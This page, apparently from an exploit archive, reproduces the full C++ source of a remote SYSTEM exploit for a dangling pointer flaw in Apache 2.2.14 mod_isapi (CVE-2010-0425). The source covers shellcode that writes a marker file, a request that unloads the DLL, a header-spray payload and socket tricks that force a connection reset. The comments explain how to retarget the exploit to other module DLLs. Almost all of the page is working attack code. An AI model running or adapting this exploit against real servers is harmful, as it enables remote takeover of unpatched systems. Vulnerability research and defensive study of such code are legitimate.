Home / os / winme

Apache 2.2.14 mod_isapi Dangling Pointer Remote SYSTEM Explo

Posted on 06 March 2010

============================================================== Apache 2.2.14 mod_isapi Dangling Pointer Remote SYSTEM Exploit ============================================================== /* * Apache 2.2.14 mod_isapi Dangling Pointer Remote SYSTEM Exploit (CVE-2010-0425) * ------------------------------------------------------------------------------ * * Advisory: http://www.senseofsecurity.com.au/advisories/SOS-10-002 * * Description: * pwn-isapi.cpp exploits a dangling pointer vulnerabilty in Apache 2.2.14 mod_isapi. * Due to the nature of the vulnerability, and exploitation method, DEP should be limited to essential * Windows programs and services. At worst, if DEP is enabled for the Apache process, you could cause * a constant DoS by looping this (since apache will automatically restart) :) * * Note that the exploit code may need to be run multiple times before a shell is spawned (70% * success rate - tested on three different systems). Furthermore, the exploit code may require * modification to exploit this vulnerability on different platforms. This is due to loaded memory * references to the unloaded DLL (they will be different for each ISAPI module). Do not test * this code in a VM otherwise the code may fail to send the RESET packet (something to do with * VMware gracefully closing the connection, instead of sending a RESET packet) - I didnt want * to have to use raw packets on Windows. * * Shellcode Note: * The shellcode writes "pwn-isapi" to "sos.txt" which is created in the current working directory. * Most operating systems should be supported by this shellcode. I've used Skylined's method of finding * the base address of kernel32.dll for Windows 7 and modified it so that it will find the base * address of msvcrt.dll instead. I've also added another check so that it will be able to detect * "msvcrt.dll" on Windows Server 2003 (this OS loads msvcrt.dll in 5th position, and before this * DLL string is read, another DLL (RPCRT4.dll) length is verifiied which matches the length of * msvcrt.dll. So the added check will verify the presents of "m" before proceeding. * * Author: * Brett Gervasoni (brettg [at] senseofsecurity.com.au) * * Copyright Sense of Security Pty Ltd 2010. * http://www.senseofsecurity.com.au */ #include <iostream> #include <windows.h> #include <winsock.h> #include <string> #include <direct.h> #pragma comment(lib, "wsock32.lib") using namespace std; #define SERVER_PORT 80 void header(); int createConnection(string targetAddr, int targetPort); int sendTransmission(string message); string recvTransmission(); void cleanUp(); WORD sockVersion; WSADATA wsaData; int sock; struct sockaddr_in rserver; int main(int argc, char *argv[]) { string serverIP, isapiDLL; string triggerVuln, payload; char accept[171], referer[733], cookie[5376], random[7604], postData[23379], footer[299]; //custom shellcode that writes "pwn-isapi" to "sos.txt" in the current working directory //Note: There are four NOPs at the end for padding. Not really needed. char shellcode[] = "x31xc0x31xc9x64x8bx71x30x8bx76x0cx8bx76x1cx8bx56x08x8b" "x7ex20x8bx36x66x39x4fx14x75xf2x66xb9x01x6dx66x81xe9x94" "x6cx66x39x0fx66x89xc1x75xe1x89xe5xebx71x60x8bx6cx24x24" "x8bx45x3cx8bx54x05x78x01xeax8bx4ax18x8bx5ax20x01xebxe3" "x34x49x8bx34x8bx01xeex31xffx31xc0xfcxacx84xc0x74x07xc1" "xcfx0dx01xc7xebxf4x3bx7cx24x28x75xe1x8bx5ax24x01xebx66" "x8bx0cx4bx8bx5ax1cx01xebx8bx04x8bx01xe8x89x44x24x1cx61" "xc3xadx50x52xe8xaaxffxffxffx89x07x66x81xc4x0cx01x66x81" "xecx04x01x66x81xc7x08x01x66x81xefx04x01x39xcex75xdexc3" "xebx10x5ex8dx7dx04x89xf1x80xc1x0cxe8xcdxffxffxffxebx3b" "xe8xebxffxffxffx6ex7cx2exe1x1ex3cx3fxd7x74x1ex48xcdx31" "xd2x58x88x50x07xebx2fx31xd2x59x88x51x01xebx2ex51x50xff" "x55x04xebx2cx31xd2x59x88x51x09xebx33x51x50x89xc6xffx55" "x08x53xffx55x0cxe8xd1xffxffxffx73x6fx73x2ex74x78x74x4e" "xe8xccxffxffxffx77x4exe8xcdxffxffxffxe8xcfxffxffxffx70" "x77x6ex2dx69x73x61x70x69x4exe8xc8xffxffxffx90x90x90x90"; header(); if (argc < 3) { printf("usage: %s <ip> <DLL> ", argv[0]); return 1; } serverIP = string(argv[1]); isapiDLL = string(argv[2]); //all these values could be set to 7601 + sizeof(shellcode) //but mixing it up is good. memset(accept, 'A', 170); memset(referer, 'A', 732); memset(cookie, 'A', 5375); memset(random, 'A', 7603); memset(postData, 'A', 23378); memset(footer, 'A', 298); triggerVuln = "POST /cgi-bin/" + isapiDLL + " HTTP/1.0 " "User-Agent: AAAAAAAA " "Pragma: no-cache " "Proxy-Connection: Keep-Alive " "Host: " + serverIP + " " "Content-Length: 40334 " + string(footer); //Modify the below request if needed (depending on where your function pointer is pointing) //Do so by adding or removing headers. So if you want to hit a higher function pointer, //keep adding headers :) //Note: If performing this blindly, try it a few times, change a bit, try again. //During testing i found that using a chunk of data the same size with the same header name //was more unreliable. In memory, large amounts of nulls are being placed either side of the //payload. Since the function pointer address was random, by slightly mixing up the size of //each header i would get better results. payload = "POST /cgi-bin/" + isapiDLL + " HTTP/1.0 " "Accept: " + string(accept) + " " "Referer: " + string(referer) + string(shellcode) + " " "From: " + string(cookie) + string(shellcode) + " " "Utruvh-guiergher: " + string(cookie) + string(shellcode) + " " "Accept-Language: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA " "Content-Type: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA " "UA-CPU: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA " "Pragma: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA " "User-Agent: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA " "Cookie: " + string(cookie) + string(shellcode) + " " "Host: " + serverIP + " " "Proxy-Connection: Keep-Alive " "Okytuasd: " + string(cookie) + string(shellcode) + " " "Asdasdasdasdasd: " + string(random) + string(shellcode) + " " "Asdasda: " + string(random) + string(shellcode) + " " "Sewrwefbui: " + string(random) + string(shellcode) + " " "Qdfasdernu: " + string(random) + string(shellcode) + " " "Cdffew-asdf: " + string(random) + string(shellcode) + " " "Kuiytnb-Ehrf: " + string(cookie) + string(shellcode) + "BBBB" + " " "Lsfergjnuibubiu: " + string(cookie) + string(shellcode) + "BBBB" + " " "Baefrwerifnhu: " + string(cookie) + string(shellcode) + "BBBB" + " " "Zdsfno: " + string(cookie) + string(shellcode) + "BBBB" + " " "Psdfsafn: " + string(cookie) + string(shellcode) + "BBBB" + " " "Zefwefnuivre-sdf: " + string(cookie) + string(shellcode) + "BBBB" + " " "Ivre-sdf: " + string(cookie) + string(shellcode) + "BBBB" + " " "Yvasde-sdf: " + string(cookie) + string(shellcode) + "BBBB" + " " "Yuionbsdf: " + string(cookie) + string(shellcode) + "BBBB" + " " "Yasdasdasdf: " + string(cookie) + string(shellcode) + "BBBB" + " " "asdasdde-sdf: " + string(cookie) + string(shellcode) + "BBBB" + " " "Ertuioert-erf: " + string(cookie) + string(shellcode) + "BBBB" + " " "Content-Length: 25054 " + string(postData) + "CCCC" + string(shellcode) + "BBBB" + string(footer); //Setup connection if (createConnection(serverIP, SERVER_PORT) == 1) { printf("- an error occurred connecting to the server "); return 1; } printf("[+] Connected to %s. ", serverIP.c_str()); printf("[+] Setting socket data structure values "); int iOptVal; int aiOptVal; struct linger linger_data; //This is meant to set closesocket to do a "graceful close", //however this is not the case when WSACancelBlockingCall() is called. A RESET packet is //sent as a result - Note that if in a vm, for some reason a RESET packet does not get sent. linger_data.l_onoff = 0; linger_data.l_linger = 0; setsockopt(sock, SOL_SOCKET, SO_LINGER, (char*)&linger_data, sizeof(linger_data)); setsockopt(sock, SOL_SOCKET, SO_DONTLINGER, (char*)&linger_data, sizeof(linger_data)); //Set SO_LINGER to 0 so WSACancelBlockingCall() will cause a RESET packet to be sent getsockopt(sock, SOL_SOCKET, SO_LINGER, (char*)&linger_data, &iOptVal); getsockopt(sock, SOL_SOCKET, SO_DONTLINGER, (char*)&linger_data, &aiOptVal); printf(" - SO_LINGER value is set to %ld ", linger_data.l_onoff); printf(" - SO_DONTLINGER value is set to %ld ", linger_data.l_linger); printf("[*] Triggering DLL unload "); sendTransmission(triggerVuln); Sleep(2000); //Sleep for a bit, otherwise on first run a RESET packet doesn't get sent. WSACancelBlockingCall(); //Cause reset packet response Sleep(2000); //The multiple Sleeps seem to break up stuff a bit, making it more reliable... closesocket(sock); Sleep(2000); WSACleanup(); Sleep(2000); printf("[+] The DLL should be unloaded by now "); //Reconnect to deliver payload if (createConnection(serverIP, SERVER_PORT) == 1) { printf("- an error occurred connecting to the server "); return 1; } printf("[*] Sending payload "); sendTransmission(payload); cleanUp(); printf("[+] Check to see if sos.txt was created... "); return 0; } void header() { printf("Apache 2.2.14 mod_isapi Remote SYSTEM Exploit (CVE-2010-0425) "); printf("------------------------------------------------------------- "); printf(" Brett Gervasoni (brettg [at] senseofsecurity.com.au) "); printf(" Copyright Sense of Security Pty Ltd 2010. "); } //Setup the server int createConnection(string serverIP, int port) { int result = 0, len = 0; sockVersion = MAKEWORD(1,1); WSAStartup(sockVersion, &wsaData); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("error: socket() "); result = 1; } rserver.sin_family = AF_INET; rserver.sin_port = htons(port); rserver.sin_addr.s_addr = inet_addr(serverIP.c_str()); memset(&rserver.sin_zero, 0, 8); len = sizeof(struct sockaddr_in); if ((connect(sock, (struct sockaddr *)&rserver, sizeof(struct sockaddr_in))) == -1) { perror("error: connect() "); result = 1; } return result; } //Send a message int sendTransmission(string message) { int bytes_sent = 0; bytes_sent = send(sock, message.c_str(), message.length(), 0); if (bytes_sent < 0) { perror("error: send() "); exit(1); } return bytes_sent; } //Receive a message string recvTransmission() { string result; char *c = new char[1]; int bytes_recv = 0; while (c[0] != NULL) { bytes_recv = recv(sock, c, 1, 0); if (bytes_recv < 0) { perror("error: recv() "); //exit(1); } result += c[0]; } return result; } //Clean up the connection void cleanUp() { closesocket(sock); WSACleanup(); } # ~ - [ [ : Inj3ct0r : ] ]

 

TOP